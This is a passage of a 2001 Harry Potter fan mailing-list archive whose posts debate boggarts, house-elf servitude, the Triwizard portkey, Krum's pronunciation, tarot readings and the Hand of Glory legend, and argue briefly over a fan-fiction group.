Message-ID: <20010929171456.GTXF16491.femail8.sdc1.sfba.home.com@there>

No: HPFGUIDX 26894

On Friday 28 September 2001 20:15, you wrote:
> 
> Also, if you check CoS, the names of Lockharts books change from
> 'Wanderings with Werewolves' and 'Year with the Yeti' (chapter four, on the
> booklist) to 'Weekend with a Werewolf' and 'Year with a Yeti' (chaper six,
> Lockharts class), respectivley. I guess that could be put down to Lockhart
> being a stupid great prat, but I think he'd be the type of person who'd
> know 'his' books off by heart, because he's so stuck on himself.
>
That could be explained by saying they're different books- maybe he wrote 
sequels.

-- 
Deeblite
spoony []
Variant(s): or spoon?ey []/'sp?-nE/
Function: adjective
Inflected Form(s): spoon?i?er; -est
Etymology: English slang spoon simpleton
Date: circa 1812
1 : SILLY, FOOLISH; especially : unduly sentimental
2 : being sentimentally in love




From aiz24 at hotmail.com  Sat Sep 29 17:43:55 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 29 Sep 2001 17:43:55 -0000
Subject: How Boggarts work (was Why is Lupin afraid of the floating silver orb?)
In-Reply-To: <9p4vh1+3fdp@eGroups.com>
Message-ID: <9p518r+atuc@eGroups.com>

No: HPFGUIDX 26895

Cindy wrote:

> Hmmm.  I never considered why Lupin doesn't transform when the 
> boggart moon appears.  Maybe Lupin is able to resist because the 
> Boggart moon is so small -- the size of a crystal ball, apparently. 
 
> Had the Boggart transformed into a huge moon, perhaps Lupin would 
> have transformed.  After all, I assume if the Boggart changed into a 
> mini-Dementor, Harry wouldn't have been overcome.
> 
> It's weak, but it is the best I can do.

Not at all--I think it makes a lot of sense.  And the fact that the 
Boggart *doesn't* turn into a full-size moon might indicate that 
the Boggart isn't strong enough to pull off that impressive a 
transformation, and therefore may lack the power of the moon.  (Also 
that materializing an 2000-mile-diameter satellite within the castle 
might pose some problems <g>.)

This reminds me I meant to respond to Heidi's thought about the 
Boggart turning into something metaphorical.  I think of the Mirror of 
Erised this way, so the idea appeals.  (E.g. I don't think the deepest 
desire of Ron's heart is to be Head Boy and cupwinning Quidditch 
captain--it is for recognition and perhaps glory, which these things 
symbolize.)  Boggarts might be limited by the concreteness of them.  
For example, to take Ron again, I bet there are things he fears worse 
than giant spiders--how about watching his entire family get shredded 
by said spiders, say?  But Boggarts don't present a whole scenario; 
they turn into something concrete and scary.  Lupin thinks Harry's is 
symbolic, in a way:  that he is afraid of fear itself, and therefore a 
Boggart that faces him turns into a phantasm that can't really harm 
him (Harry doesn't know about the Kiss yet) but that makes him feel 
terror.
 
> Cindy (who thinks a mini-Dementor might make a nice pet, or a handy 
> portable air conditioner)

ROTFL!

Amy Z

----------------------------------------------
 . . . summoning the memory of the day I had 
 been voted President of the local Gobstones 
 Club, I performed the Patronus Charm.  
     -Fantastic Beasts and Where to Find Them
----------------------------------------------




From HarryPottergift at aol.com  Sat Sep 29 16:15:42 2001
From: HarryPottergift at aol.com (HarryPottergift at aol.com)
Date: Sat, 29 Sep 2001 12:15:42 EDT
Subject: (no subject)
Message-ID: <92.1ae47758.28e74dae@aol.com>

No: HPFGUIDX 26896

How do I unsubscribe?  I forget



From rowena_grunnion_ffitch at yahoo.com  Sat Sep 29 18:15:48 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 29 Sep 2001 11:15:48 -0700 (PDT)
Subject: [HPforGrownups] House-elf pay - Susan's filk - Mrs. Norris - Lockhart Flint
In-Reply-To: <9p4pos+p2j1@eGroups.com>
Message-ID: <20010929181548.95469.qmail@web20801.mail.yahoo.com>

No: HPFGUIDX 26897


--- Amy Z <aiz24 at hotmail.com> wrote:

> Rowena wrote:
>  
> >    He could ask his human hosts for it. 
> 
> Hosts?  

   Yes hosts. A Brownie is free to leave whenever he
likes if he finds the conditions no longer
satisfactory. This is the only difference between
Brownies and House-elves, House-elves are magically
bound to continue to work for the wizard family
whatever their feelings. This can and must be changed.
 
> Rowena continued:
> 
> >It was
> > customary to put out gifts for Brownies yarn, if
> it
> > were made clear it would be welcome, wouldn't be a
> > problem.
> >    According to my 'Encylopedia of Fairies,
> > Hobgoblins, Brownies Bogies and other Supernatural
> > Creatures' (yes, it is a real book) Brownies
> avoided
> > the appearance of payment because it would put
> them
> > under obligation to their Humans. Food or other
> items
> > 'left out' didn't count as 'pay' and so were
> > acceptable. 
> >    This of course is the behavior of free
> Brownies.
> > Dobby, coming from a long line of magically bound
> > House elves, is presumably unaware of these
> > traditional practices and values.  
> 
> Or maybe he is a lot more like a human being than
> that.  I can just 
> imagine my reaction if my employers tried to pay me
> in goods instead 
> of in money.  No matter how generous they might be,
> I like to choose 
> my own wool, clothes, place to live, etc., thank you
> very much.

     It is possible Dobby feels like that, but the
fact he drives Dumbledore down on his salary suggest
that 'pay' is more symbolic of his freedom than
anything else. His Brownie ancestors regarded
'payment' and putting them under obligation and thus
resented it. To Dobby it is a symbol of his freedom.
> 
> We really don't know whether house-elves are more
> like brownies or like slaves. 

   They are Brownies, or rather the descendants of
Brownies who have been magically enslaved. They don't
need pay, or pensions or vacations, they need the
spells forcing them to continue to work for particular
Wizardly families removed.  
     
> All we can do is go by the descriptions we have so 
> far.  Winky (sacked simply because she couldn't
> restrain Jr. and 
> because Sr. thought she wouldn't stand up to
> interrogation by the MOM) 
> and Dobby both seem very unhappy to me.

   Dobby is unhappy because he is being abused and
cannot escape, (a Brownie would simply leave such an
unsatisfactory family and find a new one). Winky on
the other hand is unhappy because she has been sent
away against her will and is justly fearful over what
will become of the Crouches without her. Not quite the
same thing.
   And you seem to be forgetting the hundred or so
other House elves at Hogwarts who are visibly content
with their lot and quite offended by Hermione's
suggestions of reform.
 


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From meboriqua at aol.com  Sat Sep 29 18:59:23 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 29 Sep 2001 18:59:23 -0000
Subject: Harry's Fear is Fear?
In-Reply-To: <9p518r+atuc@eGroups.com>
Message-ID: <9p55mb+7evb@eGroups.com>

No: HPFGUIDX 26898

Amy Zubbyflubby wrote:

 < Lupin thinks Harry's is  symbolic, in a way:  that he is afraid of 
fear itself, and therefore a Boggart that faces him turns into a 
phantasm that can't really harm him (Harry doesn't know about the Kiss 
yet) but that makes him feel terror.>

That raises a question for me.  Why would Harry's biggest fear be fear 
itself?  I had trouble with that the first time I read PoA and I still 
struggle with that now.  I always thought that Harry feared the 
Dementors because of two things: 1) how they make him feel and 2) the 
memories they bring him of his parents' murders.  That would certainly 
terrify me.  How then, does fear itself become what Harry is afraid 
of?  Is it because he is afraid of being weak and showing fear can be 
seen as weak?  I definitely need help with this one.

I don't think this has been discussed before either, so there.

--jenny from ravenclaw, who'd be happy to give Harry a lot more than 
chocolate when Dementors are around 
*********************************************************




From jkusalavagemd at yahoo.com  Sat Sep 29 19:00:18 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sat, 29 Sep 2001 19:00:18 -0000
Subject: A Condemnation of "whenikissed the teacher"
Message-ID: <9p55o2+furo@eGroups.com>

No: HPFGUIDX 26899

Today I received an announcement soliciting my membership in the 
Yahoo! Group "whenikissedtheteacher"  which purports to explore a 
relationship between Snape and Hermione.

I hesitated to post this because I did not want to further publicize 
this kind of trash, but since you all have received this announcement, 
I presume, my post will not therefore add to the damage.  This is not 
a matter of personal preference, nor is it made innocent by an age 
restriction.  This is Child Pornography-- nothing more, nothing less. 
 I have previously expressed my outrage at Hagrid/Harry slash.  Allow 
me to demonstrate my opposition to a heterosexual analog.

I can only assume that the moderators missed this announcement.  I 
know that it must be approved.  I urge them to condemn this openly, 
and to remove any links to this group.

Haggridd




From DaveH47 at mindspring.com  Sat Sep 29 19:25:00 2001
From: DaveH47 at mindspring.com (Dave Hardenbrook)
Date: Sat, 29 Sep 2001 12:25:00 -0700
Subject: [HPforGrownups] Re: Why is Lupin afraid of the floating silver orb?
In-Reply-To: <9p4utv+huur@eGroups.com>
References: <9p4utv+huur@eGroups.com>
Message-ID: <3154418176.20010929122500@mindspring.com>

No: HPFGUIDX 26900

Hi Amy!

Saturday, September 29, 2001, 10:03:59 AM, you wrote:

AZ> Which returns us to a very interesting question:  what effect *does* a 
AZ> Boggart have on people?

If Harry's boggart had been He-Who-Must, then would the boggart-Voldy
been able to Avada Kedavra Harry on the spot??

AZ> And what does Lupin's Boggart turn into after he says "Riddikulus"?  
AZ> In PoA 12 Harry sees him forcing the orb back into the box, which 
AZ> seems like a Flint.  Or maybe Lupin's "Riddikulus" breaks down Harry's 
AZ> Boggart but the Boggart instantly turns from some humorous version 
AZ> of a Dementor, whatever that might be, to the moon--Harry is dazed and 
AZ> could well miss something.  Then Lupin forces it into the case without 
AZ> even doing Riddikulus again.

More problematic for me is the boggart in the maze, it turns into a
tangle-footed dementor first, *then* he says "Riddikulus", which
destroys it (without laughter), just the reverse of what it should be.
*That* I think is a genuine Flint.
-- 
Dave




From devika261 at aol.com  Sat Sep 29 19:31:17 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Sat, 29 Sep 2001 15:31:17 EDT
Subject: [HPforGrownups] Why is Lupin afraid of the floating silver orb?
Message-ID: <99.1b639bb5.28e77b86@aol.com>

No: HPFGUIDX 26901

I agree that the boggart can become a metaphor of a person's fear.  Lupin, IMO, is afraid of losing control of himself, which is why he is usually so calm.  The moon to him represents the time every month when he has absolutely no control over his body or his mind and actions.  That must be pretty terrifying.  
Also, IIRC, when Lupin asked Hermione how she figured out he was a werewolf, he asked her if she noticed that his boggart transformed into the moon.  This could mean that a boggart transforming into the moon is simply a sign that Lupin *is* a werewolf.  The same thing could happen when all werewolves see boggarts.  It could be a symptom, in a way, of their lycanthropy that has nothing to do with fear.  
Either way, I think Lupin's boggart makes perfect sense.

Devika :)



From lucy at luphen.co.uk  Sat Sep 29 21:00:28 2001
From: lucy at luphen.co.uk (Lucy Austin)
Date: Sat, 29 Sep 2001 22:00:28 +0100
Subject: [HPforGrownups] Can House Elves See Through Invisibility Coaks?
References: <9p4u4a+pumm@eGroups.com>
Message-ID: <002e01c14929$c6177f40$3fae1e3e@StephenDawson>

No: HPFGUIDX 26903

I don't think they can, otherwise they wouldn't be very good invisibility cloaks. Dobby doesn't need to see through Harrys, as Cynthia has explained, this has slipped off him as he sleeps. Windy doesn't need to see through Crouch's, because she's got that 'bond' between them that Crouch mentions during his confession, that he later breaks, and that she uses to force him to run away when Harry, Ron & Hermione see her.

Lucy, who still has got a satisfactory answer for why Harry had to win the Tournament instead of Moody turning any old thing into a Portkey during the year.
  ----- Original Message ----- 
  From: cynthiaanncoe at home.com 
  To: HPforGrownups at yahoogroups.com 
  Sent: Saturday, September 29, 2001 5:50 PM
  Subject: [HPforGrownups] Can House Elves See Through Invisibility Coaks?


  I can recall two instances in which house elves encounter 
  invisibility cloaks.  In GoF, Winky is in the top box with Crouch 
  Jr., who is wearing an invisibility cloak.  She has her fingers over 
  her eyes.  But if Winky can't see through the cloak, Crouch could 
  have easily escaped.  Indeed, how is Winky supposed to care for 
  Crouch Jr. when they are at home if he wears the invisibility cloak 
  all of the time?  He could easily give her the slip at the QWC, or 
  even just get lost by accident.

  The second instance is when Dobby find Harry sleeping in the 
  library.  In that instance, JKR specifically tells us that the cloak 
  had slipped off of Harry, so presumably Dobby could see Harry as the 
  cloak no longer covered him.  

  Does anyone have an opinion on whether house elves can see through 
  invisibility cloaks?

  Cindy


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From Aberforths_Goat at Yahoo.com  Sat Sep 29 21:10:34 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Sat, 29 Sep 2001 23:10:34 +0200
Subject: [HPforGrownups] hi friend
References: <9p5afe+k4cb@eGroups.com>
Message-ID: <013001c1492b$2e5f1850$e500a8c0@shasta>

No: HPFGUIDX 26904

> Understanding  ISLAM  And  the  MUSLIMS
<snip>

This is very helpful material, but not pertinent to this list, and the
Elf/Mod Team has removed it from the board. For those of us on email, let's
refrain from discussion, unless we'd like to spend a while talking about our
beliefs and convictions over on the OT-Chatter list - I'd love to pitch in!

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From MmeBurgess at msn.com  Sat Sep 29 21:10:27 2001
From: MmeBurgess at msn.com (Angela Burgess)
Date: Sat, 29 Sep 2001 17:10:27 -0400
Subject: Herm-oh-ninny
Message-ID: <OE34zxAUw9bi4aV7bAE000162de@hotmail.com>

No: HPFGUIDX 26905

David said, in explaining his Krum-is-stupid theory, :
<<just that Hermione would eventually lose interest in him over time.  But why can't he repeat her name properly after she says it?>>

For the same reason that I have 4th year French students who *still* can't pronounce a 1st year phrase: "Je veux" (which means "I want").  They've heard it and repeated it thousands of times, but left to their own devices, they still don't say it right.  These are kids who are quite intellingent, they just have difficulty pronouncing certain French words.  Imagine the even more difficult task of getting your Bulgarian mouth to pronounce old English names!

AngelaGet more from the Web.  FREE MSN Explorer download : http://explorer.msn.com


[Non-text portions of this message have been removed]




From annter2002 at yahoo.com  Sat Sep 29 21:15:47 2001
From: annter2002 at yahoo.com (annter2002 at yahoo.com)
Date: Sat, 29 Sep 2001 21:15:47 -0000
Subject: Power of Potter
Message-ID: <9p5dm3+4qfe@eGroups.com>

No: HPFGUIDX 26906

Hello all!  I'm new to the group. I am currently doing a study (for 
college) on the power of the HP books so if anyone would care to share 
their thoughts I would appreciate it. I am basically looking for 
reasons why children and adults have flocked to this book. (my study 
is more indepth then that and I can divulge more if you request...)  
Please email me with any thoughts at annter20002 at yahoo.com or at 
pakornik at sover.net

Thnak you!!
~a fellow muggle 




From foxmoth at qnet.com  Sat Sep 29 22:17:17 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Sat, 29 Sep 2001 22:17:17 -0000
Subject: why the portkey was Re: Can House Elves See Through Invisibility Coaks?
In-Reply-To: <002e01c14929$c6177f40$3fae1e3e@StephenDawson>
Message-ID: <9p5h9d+rd2p@eGroups.com>

No: HPFGUIDX 26907

--- In HPforGrownups at y..., "Lucy Austin" <lucy at l...> wrote:

> Lucy, who still has got a satisfactory answer for why Harry had 
to win the Tournament instead of Moody turning any old thing into 
a Portkey during the year.

   The same reason Voldemort couldn't use any old wizard to 
re-birth himself.  It wouldn't satisfy his need for a  public victory 
over his old nemesis.Harry is already the most famous wizard of 
his generation, and by winning the Tri-wizard cup he will be 
established as the most powerful. Voldemort is playing a double 
game: he needs to show  his followers  that Harry is weaker than 
he is, but he wants the rest of the wizarding world to be sure that 
the late Harry Potter was very strong indeed.   
   
I do think Voldemort knew what the portkey would do and 
planned to use it to attack Hogwarts. The shade of James knew 
about the portkey which argues to me that Voldemort must have 
revealed it, although we aren't told how James and Lily managed 
to communicate or how they got knowledge of the situation.
    
Hogwarts has always been *safe*.  If Voldemort and a few of 
his followers had appeared on the grounds and attacked, the 
effect would have been devastating even if nine tenths of the 
students escaped unharmed. 

    I like the time travel idea. My own theory was that 
Crouch/Moody had decoyed the more powerful of the judges into 
the maze to look for Fleur and Krumm. He then used the 
confundus curse on Bagman and Fudge, who  told the crowd 
that Cedric and Harry were on their way out and would be 
appearing at any time.
Pippin
   




From rcraigharman at hotmail.com  Sat Sep 29 22:32:42 2001
From: rcraigharman at hotmail.com (rcraigharman at hotmail.com)
Date: Sat, 29 Sep 2001 22:32:42 -0000
Subject: Herm-oh-ninny
In-Reply-To: <OE34zxAUw9bi4aV7bAE000162de@hotmail.com>
Message-ID: <9p5i6a+odh3@eGroups.com>

No: HPFGUIDX 26908

--- In HPforGrownups at y..., "Angela Burgess" <MmeBurgess at m...> wrote:
> For the same reason that I have 4th year French students who
> *still* can't pronounce a 1st year phrase: "Je veux" (which means
> "I want").  They've heard it and repeated it thousands of times,
> but left to their own devices, they still don't say it right. 
> These are kids who are quite intellingent, they just have
> difficulty pronouncing certain French words.  Imagine the even
> more difficult task of getting your Bulgarian mouth to pronounce
> old English names!

Taking my lead from http://www.cs.ualberta.ca/~vladimir/bul-pron.txt

Bulg English
Lett Phon    Examples       Explanation
h    [h]     Hala, Hrian    Like [h] in Happy or [x] in Scottish LoCH
e    [e]     morE, sEno     Like in bEtter
r    [r]     Rob, bRat      Vibrating, somewhat like bRibe
m    [m]     More, kaMyk
a    [a]     mAjka          Like the first sound in [ai] (fIne)
y    [schwa] YgYl, sYr
n    [n]     Nar, koN
i    [i]     nIt, tI        Like in bIt

(Bulgarian in transliteration)

Seems like Krum had all the needed phonemes to approximate Hermione
better than he does, unlike your French students whose native English
phoneme set doesn't distinguish ou, eu, and u....

....Craig




From cynthiaanncoe at home.com  Sat Sep 29 22:37:54 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 29 Sep 2001 22:37:54 -0000
Subject: why the portkey was Re: Can House Elves See Through Invisibility Coaks?
In-Reply-To: <9p5h9d+rd2p@eGroups.com>
Message-ID: <9p5ig2+rr3b@eGroups.com>

No: HPFGUIDX 26909

--- In HPforGrownups at y..., foxmoth at q... wrote:
> 
>    The same reason Voldemort couldn't use any old wizard to 
> re-birth himself.  

I'm not sure that I agree with this statement.  I think Voldemort 
could have used any old wizard for re-birth.  Wormtail urges him to 
do so, and Voldemort states, "I could use another wizard . . . that 
is true."  Voldemort prefers Harry for his own reasons (probably 
having to do with obtaining Harry's protection).  Had Cedric won the 
Tournament, Voldamort would have been re-birthed, I think.

Cindy




From saitaina at wizzards.net  Sat Sep 29 22:52:39 2001
From: saitaina at wizzards.net (Saitaina)
Date: Sat, 29 Sep 2001 15:52:39 -0700
Subject: [HPforGrownups] Re: MOVIE: The Norbert escapade
References: <9ndje2+kegt@eGroups.com>
Message-ID: <001201c14939$71f91f80$5c4e28d1@oemcomputer>

No: HPFGUIDX 26910

Norbert's in the movie, he's in the telly trailers and why would they cut
something out of the movie yet keep it in the telly trailers?  Beyond that
it's fun scenes that have no real plot point (they could lose points another
way) but is a favorite of everyone and gives a glimpse into Hagrid's
character.

Saitaina
*****
"I should go help," Willow said. "Or Giles is liable to speak English and no
one will understand him."-Willow,"Master of Puppets", by Saber
ShadowKitten-Buffy the Vampire Slayer-fanfic

"I'm not listening to you. I am at one. I am at peace with all living things
and if you break my concintration, I will break your legs."-Angel, "The
Florida Vacation"-Buffy the Vampire Slayer-fanfiction

"That's allright, Harry." said Dumbledore cheerfully. "We'll give you
another two years and then we'll feed you to a balisk."-Dumbledore,"Draco
Dormiens, by Cassandra Claire-Harry Potter-fanfic






From cynthiaanncoe at home.com  Sat Sep 29 22:54:26 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 29 Sep 2001 22:54:26 -0000
Subject: Why is Lupin afraid of the floating silver orb?
In-Reply-To: <3154418176.20010929122500@mindspring.com>
Message-ID: <9p5jf2+p239@eGroups.com>

No: HPFGUIDX 26911

--- In HPforGrownups at y..., Dave Hardenbrook <DaveH47 at m...> wrote:
> 
> If Harry's boggart had been He-Who-Must, then would the boggart-
Voldy
> been able to Avada Kedavra Harry on the spot??

Good question.  Just how much indepndent power does a Boggart have?  
I'd say none.  When Lupin brings the Boggart into the classroom, he 
has no idea what horrors the students might cause the boggart to 
assume.  (If a student had feared a bomb, Lupin would have quite a 
mess on his hands.)  It would be quite irresponsible to unleash such 
a monster on the students.



> 
> 
> More problematic for me is the boggart in the maze, it turns into a
> tangle-footed dementor first, *then* he says "Riddikulus", which
> destroys it (without laughter), just the reverse of what it should 
be.
> *That* I think is a genuine Flint.

I thought this was a strange way to approach this scene, also.  But I 
think it mostly follows the rules, so may not be a Flint.  Harry sees 
the boggart/dementor, and wards it off with a patronus.  (Which 
suggests that the boggart is really just a shell of whatever form it 
assumes.)  Then, when he sees the boggart make an error (tripping), 
he explodes it.  (We know boggarts make errors like this because 
Lupin tells us that he has seen boggarts err by trying to assume more 
than one form at once.)  Why doesn't Harry have to force it to assume 
a comical form?  Because Harry is such a powerful wizard and so 
talented at DADA that he can just skip that step, perhaps?  

Cindy (who didn't realize boggarts are so interesting)




From caliburncy at yahoo.com  Sat Sep 29 23:27:13 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 29 Sep 2001 23:27:13 -0000
Subject: Boggart
Message-ID: <9p5lch+cvnj@eGroups.com>

No: HPFGUIDX 26912

Okay, several things to address and random theories to throw out:

***

1) Are Boggart manifestations metaphorical?

Possibly.  Lupin hints that Harry's boggart manifestation (a dementor) 
is, by saying that it indicates his greatest fear is fear.  However, 
one might also argue that this could be specific to Dementors.  
Dementors by their nature may be symbolic of fear (or depression or 
whatever), but perhaps not all boggart manifestations are.

I offer a more specific, closely-related belief (read as: the same 
thing in "Luke terms"): That boggart manifestations are metaphorical, 
but to the extent that the target (the person who the boggart is 
currently affecting) associates those abstract thoughts with a 
concrete image.  For example, Lupin may not be literally afraid of the 
moon, but has come to associate the things he is afraid of (the 
terrible things he might do as a werewolf, loss of control, pain of 
transformation, social rejection, etc.) with the moon.  If he had 
associated these things with something else, such as, say, a sock (for 
whatever illogical, unknown reason) then he would see a sock.  
Basically, I am clarifying that I do not think the symbolism is 
*inherent*, but created in the psyche of the target.

Neville's fear may not be truly Snape, but the reflection of his own 
sense of inadequacy that Snape constantly reminds him of.  He has come 
to associate this fear with Snape.  Obviously there is nothing 
inherent in Snape that makes him literally symbolic of Neville's fear 
(to anyone but Neville).

Under this system, Harry has come to associate whatever his greatest 
fear is with the dementors and whether or not a dementor is inherently 
symbolic (though potentially true) is irrelevant.

This, of course, will not apply to everyone.  Some people, especially 
certain children, have more concrete fears to begin with (Parvati's 
mummy, Seamus's banshee).  I actually have a hard time believing that 
this is truly their greatest fear, but perhaps it is their most 
conscious one, and hence somehow easier for the boggart to home in on.

***

2) To what extent does a boggart manifestation take on the properties 
of its real counterpart?

We know that Harry was affected by the boggart-dementor in the same 
way as a real dementor would affect him.

We don't technically know that this is true of all boggart 
manifestations, do we? (real question--I'm feeling too lazy to 
scrutinize canon)  It is quite possible that Harry himself 
psychologically caused this to happen, moreso than it was an inherent 
capability of boggarts.

Assuming it was an inherent capability of boggarts, then it could be 
nonetheless limited by other factors.  Perhaps it only can take on the 
properties of its real counterpart so long as the target believes it 
can.  The more belief in and fear of the boggart, the more powerful 
the boggart.  Hence, Lupin has over time made himself relatively 
immune to the boggart because he is not as afraid.  Note the way he 
tackles the boggart in a very casual, ho-hum manner.  Or perhaps the 
dementor scenario is one of a few special cases, because both their 
powers are primarily psychological and therefore it is possible for 
the boggart to emulate it.  It would not, then, be able to 
administrate the kiss or do anything similarly concrete.  Nor would it 
have concrete abilities held by other manifestations, like the venom 
of spiders or even the ability to cause physical harm.

***

3) What really destroys a boggart?

It is not the Riddikulus curse itself, as Lupin states (and as Dave 
Hardenbook was pointing out in his Flint question).

But is it necessarily *really* laughter either?  I think it is 
entirely possible that Lupin told the students that because it is much 
more concrete and easy to grasp that way, when, IMO it seems to make 
much more sense that the way to destroy a boggart is simply not to 
fear it.  So laughter works if its genuine, but wouldn't if forced (it 
is not the act, but the emotion behind it).  But laughter wouldn't be 
necessary either, provided the absence of fear was there.

-Luke




From usergoogol at yahoo.com  Sat Sep 29 23:37:40 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Sat, 29 Sep 2001 23:37:40 -0000
Subject: The Hand of Glory is "real."
Message-ID: <9p5m04+cvpq@eGroups.com>

No: HPFGUIDX 26913

I was reading a book on superstitions (I found it at the library, looking for the encyclopedia of fairies someone mentioned here.) and I read about the Hand of Glory.

Basically, it is formed by taking the hand of a hung man. Then, any remaining blood is drained, and it is tied up tightly at the end. Then, a candle is put in the hand (which may or may not be formed from the fat of the hung man) and then, when it is lit, it makes the user invisible. I'm guessing either Rowling decided that having HER hand of glory merely only give light to its owner was a better item, or that some superstitions believe that it does that.

In case you don't recall it, the hand of glory was mentioned when Lucius and Draco were in Knockturn Alley, when Harry screwed up the Floo Powder. Lucius then complained about Draco's poor grades.

Here's how the book describes it:

>"Can I have that?" interrupted Draco, pointing at the withered
> hand on its cushion.
>
>"Ah, the Hand of Glory!" said Mr. Borgin, abandoning Mr. Malfoy's
> list and scurrying over to Draco. "Insert a candle and it gives
> light only to the holder! Best friend of theieves and
> plundrers! Your son has excellent taste, sir."

Isn't interesting how all this "real" magic is in the Harry Potter books? Of course, that's also one of the reasons why those annoying fundamentalists complain so much. (Not to offend any fundamentalists.)






From catlady at wicca.net  Sun Sep 30 00:00:43 2001
From: catlady at wicca.net (Rita Winston)
Date: Sat, 29 Sep 2001 17:00:43 -0700
Subject: Filk - Pet - House Elves - full Moon - Snape/Hermione  
Message-ID: <3BB660AB.A19445D3@wicca.net>

No: HPFGUIDX 26914

Susan Hall wrote:

> The Last Waltz
> (To the tune of Lily, Rosemary, & The Jack of Hearts)

Wow!

Catherine in California wrote:

> > For anyone who is interested, Narcissa's own
> > hand was Death, The Lovers  and the nine of
> > Swords, all reversed, but it was too difficult
> > to make that scan. 
> What does that mean?  I know almost nothing
> about the Tarot but I'm curious!

Death means a Major Change, not *necessarily* Catastrophic -- the Tower
is more Catastrophic. The Lovers means choice, except some artists draw
it to mean Love. The Nine of Swords --- it's been so long that I had to
go look, I had thought it was the ten swords piercing the bloody corpse
but actually it is the person waking up in bed with a nightmare of nine
swords. My beloved Morgan-Greer deck shows two bound hands rather than
showing the whole person and bed as does Rider-Waite. That Susan
troubled to specify that they were all Reversed, probably she is of the
faction that believes that a card being reversed (upsidedown to the
reader) means it is showing something Bad. There are other schools of
thought, including one that reversal doesn't matter.

Giving myself the pleasure of interpreting, Narcissa would have
interpreted that hand as meaning that she was about to have a major
catastrophe, specifically that her beloved (the Stag of Hearts) was
going to break up with her (choosing Lily instead) and leave her crying
alone.

Hey, SUSAN!!! Whose used James's Invisibility Cloak to end Lily's
engagement to Lucius? It ought to be James, using her own cloak to
reclaim his own girlfriend, but "It could hide from anyone // Except of
course the Jack of Hearts." he wouldn't be trying to hide from himself.

Saitaina wrote:

> I think the 'cat, owl, toad' thing is a 
> suggested pet rule and only for first years
> as Lee brought his spider in book one. 

It doesn't seem all that binding on first years, either: Ron was a first
year when he (as Lucy Austin has pointed out) brought Percy's old rat.

But there is a difference between bringing a rat, tarantula, or dog and
bringing a big black dog, pony, or hippogriff: the smaller pets are much
easier to conceal. Just put it in a shoebox during inspections and reply
on the kindness of prefects and teachers to pretend not to notice it at
other times. 

(My college allowed undergraduates to keep pet cats, but not dogs, in
our dorm rooms if we registered them for a $5 fee. Miao Chang from Hong
Kong had a little Pekinese dog which she registered as a cat. Another
girl (whose 
name is on the tip of my tongue even tho' I knew her better than Miao)
had a big terrier named Ladvy. Whenever the Dean of the Undergraduate
College saw Ladvy, she would pat him and say "Nice kitty" -- she had a
Great Pyrenee named Hume, must have been a dog lover.) 

Imagine trying to keep a Big dog, a pony, or a hippogriff in a five
person dorm room!

Rowena Grunnion-ffitch wrote:

> They are Brownies, or rather the descendants
> of Brownies who have been magically enslaved.
> They don't need pay, or pensions or vacations,
> they need the spells forcing them to continue
> to work for particular Wizardly families removed.  
(elsewhere) 
> This can and must be changed.

This is all very cool and I agree with you, and I expect Hermione would 
agree with you if you told her "Offering them clothes they refuse to
accept is irrelevant. Removing the spells that make them want to stay
enslaved is what would be effective" instead of calling her names. Which
better than my idea, which she would condemn scornfully, which is she
should have started a Society for the Prevention of Cruelty to House
Elves to pass and enforce 
laws against wizards who torture their House Elves. 

HOWEVER, Hermione did just as much research as we did (rather more than
I did, what with all that time she spent in the library) and SHE read
wizarding books, not just Muggle books that get a lot of things wrong.

Rowena Grunnion-ffitch wrote:

> [Arthur] disapproves of the way Diggory
> and Crouch Sr. were treating Winky. This
> does not necessarily mean he is opposed
> to wizards having House elves just that
> he thinks they deserve some courtesy and
> consideration.

I want to think that Arthur is a really nice guy and all of the nice
things he says are sincere, but.... it COULD be that he pretends to
agree with Hermione as a diplomatic tactic to get her to Shut The Hell
Up Already. Just as the interaction in which he speaks kindly to Winky
while Amos is nastily interrogating her could be nothing but a well
practised "good cop, bad cop" routine.

Amy Z wrote:

> Why doesn't Lupin transform when
> the Boggart turns into the moon, then? 

I believed and still believe that the werewolf transformation is
controlled by the Phase of the Moon, not the Sight of a Moon (despite
the famous Shrieking Shack Flint). He transforms indoors at Full Moon.
He does not transform when a Boggart looks like a moon.

Hagridd wrote of Snape/Hermione:

> This is Child Pornography-- nothing more,
> nothing less. 

Not if she's over 18 in this story. I haven't read this story and am not
a fan of that ship, but she is over 18 is Sphynx's "Letter" (and, for
the record, he is still 20 years older than she is, that hasn't
changed).
------------------------------------------------------------------

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         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((



From AneurysmFaerie at hotmail.com  Sun Sep 30 00:03:59 2001
From: AneurysmFaerie at hotmail.com (Tracie Charles)
Date: Sat, 29 Sep 2001 20:03:59 -0400
Subject: A hello to all
Message-ID: <F228BrY3VaI0oZIi7T500000ea5@hotmail.com>

No: HPFGUIDX 26915

Hello I'm a current lurker on this list that has decided to make a change in 
her life by introducing herself.  My name is Tracie and I live in 
Massachusetts but I long to go back to Texas where it's warm.
I started reading the Harry Potter books when Sorcerer's Stone came out in 
paperback and I got hooked.  I have a few pieces Harry Potter merchandise, 
but nothing to substantial (although I did just see a commercial for the 
Harry Potter Lego sets and Toys-R-Us is right around the corner...hmmm)
My friends think I'm insane so it's very good that I found some people that 
are just as crazy as me.  I hope that I will be able to keep my nerve and 
post some thoughts and ideas.  Right now I'm convinced that one of the never 
before seen places that Harry will go is the Girl's Dormitory but I'm coming 
